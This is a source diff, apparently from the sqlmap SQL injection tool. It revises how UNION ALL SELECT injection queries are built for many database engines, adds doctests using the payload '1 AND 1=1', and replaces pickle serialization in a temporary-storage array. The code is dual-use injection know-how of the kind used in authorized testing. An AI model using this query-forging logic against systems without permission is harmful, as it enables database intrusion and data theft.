+            hexRaw = kb.binaryField and not Backend.isDbms(DBMS.PGSQL)
+
             if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and Backend.getIdentifiedDbms() == DBMS.MSSQL):
                 nulledCastedField = field
+                if hexConvert:
+                    nulledCastedField = self.hexConvertField(nulledCastedField)
             else:
-                if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
+                if hexRaw:
+                    nulledCastedField = self.hexConvertField(field)
+                elif Backend.isDbms(DBMS.MYSQL) and kb.get("mysqlUtf8mb4"):
+                    # NCHAR (utf8mb3) downgrades 4-byte chars (emoji) to '?'; utf8mb4 preserves them
+                    nulledCastedField = "CAST(%s AS CHAR CHARACTER SET utf8mb4)" % field
+                elif Backend.isDbms(DBMS.DERBY) and re.search(r"(?i)\bCOUNT\(", field):
+                    # Derby rejects CAST(INTEGER AS VARCHAR); route the numeric COUNT through a CHAR intermediate
+                    nulledCastedField = rootQuery.cast.query % ("CAST(%s AS CHAR(254))" % field)
+                elif not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
                     nulledCastedField = rootQuery.cast.query % field
 
                 if re.search(r"COUNT\(", field) and Backend.getIdentifiedDbms() in (DBMS.RAIMA,):
@@ -520,8 +547,7 @@ class Agent(object):
                 else:
                     nulledCastedField = rootQuery.isnull.query % nulledCastedField
 
-            kb.binaryField = conf.binaryFields and field in conf.binaryFields
+                if hexConvert and not hexRaw:
-            if conf.hexConvert or kb.binaryField:
                     nulledCastedField = self.hexConvertField(nulledCastedField)
 
         if suffix:
@@ -676,6 +702,49 @@ class Agent(object):
             pass
         return retVal
 
+    @staticmethod
+    def _collapseFieldDelimiterSpace(query):
+        """
+        Collapses ", " into "," to normalize the column-list delimiter, but ONLY outside
+        single/double quoted string literals, so a comma-space inside a literal (e.g. in a
+        WHERE clause: name='John, Jr') is preserved verbatim. The quote/escape handling
+        mirrors splitFields()/zeroDepthSearch().
+
+        >>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t")
+        'SELECT a,b FROM t'
+        >>> Agent._collapseFieldDelimiterSpace("SELECT a, b FROM t WHERE name='John, Jr'")
+        "SELECT a,b FROM t WHERE name='John, Jr'"
+        """
+
+        retVal = []
+        quote = None
+        index = 0
+        length = len(query)
+
+        while index < length:
+            char = query[index]
+            if quote:
+                retVal.append(char)
+                if char == quote:
+                    if index + 1 < length and query[index + 1] == quote:  # escaped quote (e.g. '')
+                        retVal.append(query[index + 1])
+                        index += 2
+                        continue
+                    else:
+                        quote = None
+            elif char in ('"', "'"):
+                quote = char
+                retVal.append(char)
+            elif char == ',' and index + 1 < length and query[index + 1] == ' ':
+                retVal.append(',')  # keep the delimiter, drop the single trailing space
+                index += 2
+                continue
+            else:
+                retVal.append(char)
+            index += 1
+
+        return "".join(retVal)
+
     def concatQuery(self, query, unpack=True):
         """
         Take in input a query string and return its processed nulled,
@@ -704,7 +773,7 @@ class Agent(object):
 
         if unpack:
             concatenatedQuery = ""
-            query = query.replace(", ", ',')
+            query = self._collapseFieldDelimiterSpace(query)
             fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query)
             castedFields = self.nullCastConcatFields(fieldsToCastStr)
             concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
@@ -727,7 +796,7 @@ class Agent(object):
             elif fieldsNoSelect:
                 concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
 
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.SPANNER):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.SPANNER, DBMS.HANA):
             if fieldsExists:
                 concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -825,9 +894,9 @@ class Agent(object):
 
         return concatenatedQuery
 
-    def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None):
+    def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None, collate=False):
         """
-        Take in input an query (pseudo query) string and return its
+        Take in input a query (pseudo query) string and return its
         processed UNION ALL SELECT query.
 
         Examples:
@@ -867,10 +936,21 @@ class Agent(object):
         if query.startswith("SELECT "):
             query = query[len("SELECT "):]
 
+        # On MySQL 8+ the retrieved value (connection collation) cannot be merged in a
+        # UNION column with a table column of a different collation (e.g. utf8mb4_0900_ai_ci),
+        # raising "Illegal mix of collations". Normalizing the charset and forcing an explicit
+        # collation (highest coercibility) wins the merge (Note: skipped for NULL/numeric values).
+        # Note: requires the utf8mb4 charset (MySQL >= 5.5.3) used in MYSQL_UNION_VALUE_CAST; on
+        # older versions there is no such collation clash to begin with (unknown version => assumed recent).
+        collateField = collate and Backend.isDbms(DBMS.MYSQL) and isDBMSVersionAtLeast('5.5.3') is not False
+
+        def _collate(value):
+            return MYSQL_UNION_VALUE_CAST % value if collateField and value and value != NULL and not value.isdigit() else value
+
         unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)
 
         if limited:
-            unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count))
+            unionQuery += ','.join(char if _ != position else _collate('(SELECT %s)' % query) for _ in xrange(0, count))
             unionQuery += fromTable
             unionQuery = self.suffixQuery(unionQuery, comment, suffix)
 
@@ -900,12 +980,22 @@ class Agent(object):
         else:
             infoFile = None
 
+        if not infoFile:
+            query = _collate(query)
+
+        # A fuzzy-discovered per-column type template (kb.unionTemplate, e.g. ['1234', '%s', '5678'])
+        # forces type-compatible fillers on strict DBMSes (e.g. Apache Derby, which rejects bare NULL
+        # and demands UNION column-type parity); '%s' marks the slot carrying the injected expression.
+        template = kb.unionTemplate if isinstance(kb.unionTemplate, (list, tuple)) and len(kb.unionTemplate) == count else None
+
         for element in xrange(0, count):
             if element > 0:
                 unionQuery += ','
 
             if conf.uValues and conf.uValues.count(',') + 1 == count:
                 unionQuery += conf.uValues.split(',')[element]
+            elif template is not None:
+                unionQuery += query if template[element] == "%s" else template[element]
             elif element == position:
                 unionQuery += query
             else:
@@ -927,8 +1017,10 @@ class Agent(object):
                 if element > 0:
                     unionQuery += ','
 
-                if element == position:
+                if template is not None:
-                    unionQuery += multipleUnions
+                    unionQuery += _collate(multipleUnions) if template[element] == "%s" else template[element]
+                elif element == position:
+                    unionQuery += _collate(multipleUnions)
                 else:
                     unionQuery += char
 
@@ -953,8 +1045,14 @@ class Agent(object):
         else:
             limitRegExp2 = None
 
+        # DBMSes whose paging is a simple appended "LIMIT ... OFFSET ..." (limitQuery '% (1, num)' group,
+        # limitregexp 'query2' for a bare LIMIT, groupstart=2/stop=1): a user-supplied LIMIT must be parsed
+        # AND stripped here, else limitQuery appends a SECOND LIMIT (e.g. '... LIMIT 3 LIMIT 1 OFFSET n' on
+        # ClickHouse) and per-row extraction (blind/error) reads bogus offsets - only UNION was unaffected.
+        limitOffsetAppendDbmses = (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.CLICKHOUSE, DBMS.CRATEDB, DBMS.SPANNER, DBMS.HANA)
+
         if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
-            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
+            if Backend.getIdentifiedDbms() in limitOffsetAppendDbmses:
                 limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                 limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
 
@@ -964,7 +1062,9 @@ class Agent(object):
                         stopLimit = limitRegExp.group(int(limitGroupStop))
                     elif limitRegExp2:
                         startLimit = 0
-                        stopLimit = limitRegExp2.group(int(limitGroupStart))
+                        # Note: query2 (LIMIT without OFFSET) always has exactly one group (the
+                        # count); using limitGroupStart here would IndexError for H2 (groupstart=2)
+                        stopLimit = limitRegExp2.group(1)
                 limitCond = int(stopLimit) > 1
 
             elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
@@ -994,7 +1094,7 @@ class Agent(object):
 
                 # From now on we need only the expression until the " LIMIT "
                 # (or equivalent, depending on the back-end DBMS) word
-                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
+                if Backend.getIdentifiedDbms() in limitOffsetAppendDbmses:
                     stopLimit += startLimit
                     if expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0:
                         _ = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
@@ -1048,7 +1148,7 @@ class Agent(object):
             limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
             limitedQuery += " %s" % limitStr
 
-        elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER):
+        elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER, DBMS.HANA):
             limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
             limitedQuery += " %s" % limitStr
 
@@ -1066,7 +1166,7 @@ class Agent(object):
                 original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
                 for part in original.split(','):
                     if re.search(r"\b%s\b" % re.escape(field), part):
-                        _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
+                        _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, count=1)
                         replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
                         limitedQuery = replacement
                         break
@@ -1117,7 +1217,7 @@ class Agent(object):
             limitedQuery = safeStringFormat(limitedQuery, (fromFrom,))
             limitedQuery += "=%d" % (num + 1)
 
-        elif Backend.isDbms(DBMS.MSSQL):
+        elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
             forgeNotIn = True
 
             if " ORDER BY " in limitedQuery:
@@ -1229,6 +1329,9 @@ class Agent(object):
     def removePayloadDelimiters(self, value):
         """
         Removes payload delimiters from inside the input string
+
+        >>> agent.removePayloadDelimiters(agent.addPayloadDelimiters("1 AND 1=1")) == "1 AND 1=1"
+        True
         """
 
         return value.replace(PAYLOAD_DELIMITER, "") if value else value
@@ -1236,6 +1339,9 @@ class Agent(object):
     def extractPayload(self, value):
         """
         Extracts payload from inside of the input string
+
+        >>> agent.extractPayload("prefix" + agent.addPayloadDelimiters("1 AND 1=1") + "suffix") == "1 AND 1=1"
+        True
         """
 
         _ = re.escape(PAYLOAD_DELIMITER)
@@ -1260,7 +1366,10 @@ class Agent(object):
             if Backend.isDbms(DBMS.ORACLE) and re.search(r"qq ORDER BY \w+\)", query, re.I) is not None:
                 prefix, suffix = re.sub(r"(?i)(qq)( ORDER BY \w+\))", r"\g<1> WHERE %s\g<2>" % conf.dumpWhere, query), ""
             else:
-                match = re.search(r" (LIMIT|ORDER).+", query, re.I)
+                # Note: require a genuine trailing clause (ORDER BY / LIMIT word-bounded), so a
+                # column/identifier merely starting with "order"/"limit" (e.g. order_id) is not
+                # mistaken for the suffix and the WHERE is not spliced into the wrong place
+                match = re.search(r" (ORDER\s+BY\b|LIMIT\b).+", query, re.I)
                 if match:
                     suffix = match.group(0)
                     prefix = query[:-len(suffix)]

lib/core/bigarray.py

@@ -5,11 +5,6 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
 See the file 'LICENSE' for copying permission
 """
 
-try:
-    import cPickle as pickle
-except:
-    import pickle
-
 import itertools
 import os
 import shutil
@@ -86,7 +81,7 @@ class BigArray(list):
     >>> _[0] = [None]
     >>> _.index(0)
     20
-    >>> import pickle; __ = pickle.loads(pickle.dumps(_))
+    >>> import copy; __ = copy.deepcopy(_)
     >>> __.append(1)
     >>> len(_)
     100001
@@ -151,17 +146,34 @@ class BigArray(list):
         with self._lock:
             if not self.chunks[-1] and len(self.chunks) > 1:
                 self.chunks.pop()
-                try:
                 filename = self.chunks[-1]
+                idx = len(self.chunks) - 1
+
+                if self.cache and self.cache.index == idx and self.cache.dirty:
+                    self.chunks[-1] = self.cache.data
+                    self.cache.dirty = False
+                else:
+                    from lib.core.convert import deserializeValue
+                    try:
                         with open(filename, "rb") as f:
-                        self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
+                            self.chunks[-1] = deserializeValue(zlib.decompress(f.read()))
-                    self._os_remove(filename)
-                    self.filenames.discard(filename)
                     except IOError as ex:
                         errMsg = "exception occurred while retrieving data "
                         errMsg += "from a temporary file ('%s')" % ex
                         raise SqlmapSystemException(errMsg)
 
+                try:
+                    self._os_remove(filename)
+                    self.filenames.discard(filename)
+                except OSError:
+                    pass
+
+                # Note: the formerly on-disk chunk is now an in-memory list (and its file has been
+                # removed), so any cache entry still pointing at it is stale; dropping it prevents
+                # serving outdated data if that chunk index is later re-dumped (e.g. append after pop)
+                if isinstance(self.cache, Cache) and self.cache.index == idx:
+                    self.cache = None
+
         return self.chunks[-1].pop()
 
     def index(self, value):
@@ -191,18 +203,20 @@ class BigArray(list):
         self.close()
 
     def _dump(self, chunk):
+        from lib.core.convert import getBytes, serializeValue
         try:
             handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY)
             self.filenames.add(filename)
             with os.fdopen(handle, "w+b") as f:
-                f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
+                # serializeValue() returns text; encode to bytes for the compressed on-disk chunk
+                f.write(zlib.compress(getBytes(serializeValue(chunk)), BIGARRAY_COMPRESS_LEVEL))
             return filename
         except (OSError, IOError) as ex:
             errMsg = "exception occurred while storing data "
             errMsg += "to a temporary file ('%s'). Please " % ex
-            errMsg += "make sure that there is enough disk space left. If problem persists, "
+            errMsg += "make sure that there is enough disk space left. If the problem persists, "
             errMsg += "try to set environment variable 'TEMP' to a location "
-            errMsg += "writeable by the current user"
+            errMsg += "writable by the current user"
             raise SqlmapSystemException(errMsg)
 
     def _checkcache(self, index):
@@ -210,22 +224,43 @@ class BigArray(list):
             self.cache = None
 
         if (self.cache and self.cache.index != index and self.cache.dirty):
+            old_filename = self.chunks[self.cache.index]
             filename = self._dump(self.cache.data)
             self.chunks[self.cache.index] = filename
 
+            # Note: remove the now-superseded chunk file (mirrors __getstate__); otherwise every
+            # cross-chunk dirty flush orphans one temp file on disk and in self.filenames
+            if isinstance(old_filename, STRING_TYPES):
+                try:
+                    self._os_remove(old_filename)
+                    self.filenames.discard(old_filename)
+                except OSError:
+                    pass
+
         if not (self.cache and self.cache.index == index):
+            from lib.core.convert import deserializeValue
             try:
                 with open(self.chunks[index], "rb") as f:
-                    self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False)
+                    self.cache = Cache(index, deserializeValue(zlib.decompress(f.read())), False)
             except Exception as ex:
                 errMsg = "exception occurred while retrieving data "
                 errMsg += "from a temporary file ('%s')" % ex
                 raise SqlmapSystemException(errMsg)
 
     def __getstate__(self):
+        with self._lock:
             if self.cache and self.cache.dirty:
+                old_filename = self.chunks[self.cache.index]
                 filename = self._dump(self.cache.data)
                 self.chunks[self.cache.index] = filename
+
+                if isinstance(old_filename, STRING_TYPES):
+                    try:
+                        self._os_remove(old_filename)
+                        self.filenames.discard(old_filename)
+                    except OSError:
+                        pass
+
                 self.cache.dirty = False
 
             return self.chunks, self.filenames, self.chunk_length
@@ -325,8 +360,9 @@ class BigArray(list):
                     if cache_index == idx and cache_data is not None:
                         data = cache_data
                     else:
+                        from lib.core.convert import deserializeValue
                         with open(chunk, "rb") as f:
-                            data = pickle.loads(zlib.decompress(f.read()))
+                            data = deserializeValue(zlib.decompress(f.read()))
                 except Exception as ex:
                     errMsg = "exception occurred while retrieving data "
                     errMsg += "from a temporary file ('%s')" % ex